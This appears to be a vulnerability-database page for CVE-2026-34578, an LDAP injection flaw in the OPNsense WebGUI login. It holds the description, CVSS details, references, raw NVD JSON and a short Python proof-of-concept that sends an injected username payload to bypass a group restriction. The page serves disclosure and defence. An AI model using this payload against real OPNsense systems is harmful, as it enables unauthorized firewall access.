Security Vulnerability Report
中文
CVE-2026-34578 CVSS 8.2 HIGH

CVE-2026-34578

Published: 2026-04-09 15:16:11
Last Modified: 2026-04-14 20:14:25

Description

OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.6, OPNsense's LDAP authentication connector passes the login username directly into an LDAP search filter without calling ldap_escape(). An unauthenticated attacker can inject LDAP filter metacharacters into the username field of the WebGUI login page to enumerate valid LDAP usernames in the configured directory. When the LDAP server configuration includes an Extended Query to restrict login to members of a specific group, the same injection can be used to bypass that group membership restriction and authenticate as any LDAP user whose password is known, regardless of group membership. This vulnerability is fixed in 26.1.6.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:* - VULNERABLE
OPNsense < 26.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) target_url = "https://<opnsense-ip>/index.php?rpc=login" # Payload to bypass group restriction (e.g., logic injection) # The payload attempts to close the existing filter and inject a always-true condition or bypass specific group checks # Note: The exact payload depends on the specific LDAP query structure, but a common bypass involves logic modification. # Example: *)(uid=*))(| which might try to match uid or make the filter always true depending on implementation. # For enumeration: * # For bypass simulation: username_payload = "admin*)(memberOf=*))(|" password = "known_password" payload = { "username": username_payload, "password": password } try: response = requests.post(target_url, data=payload, verify=False, timeout=10) if response.status_code == 200 and "dashboard" in response.text: print("[+] Potential bypass successful!") else: print("[-] Login failed or payload incorrect.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34578", "sourceIdentifier": "[email protected]", "published": "2026-04-09T15:16:10.777", "lastModified": "2026-04-14T20:14:24.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.6, OPNsense's LDAP authentication connector passes the login username directly into an LDAP search filter without calling ldap_escape(). An unauthenticated attacker can inject LDAP filter metacharacters into the username field of the WebGUI login page to enumerate valid LDAP usernames in the configured directory. When the LDAP server configuration includes an Extended Query to restrict login to members of a specific group, the same injection can be used to bypass that group membership restriction and authenticate as any LDAP user whose password is known, regardless of group membership. This vulnerability is fixed in 26.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-90"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1.6", "matchCriteriaId": "651745DD-B6F9-404D-8F67-A82F0C649470"}]}]}], "references": [{"url": "https://github.com/opnsense/core/commit/016f66cb4620cd48183fa97843f343bb71813c6e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/opnsense/core/security/advisories/GHSA-jpm7-f59c-mp54", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/opnsense/core/security/advisories/GHSA-jpm7-f59c-mp54", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}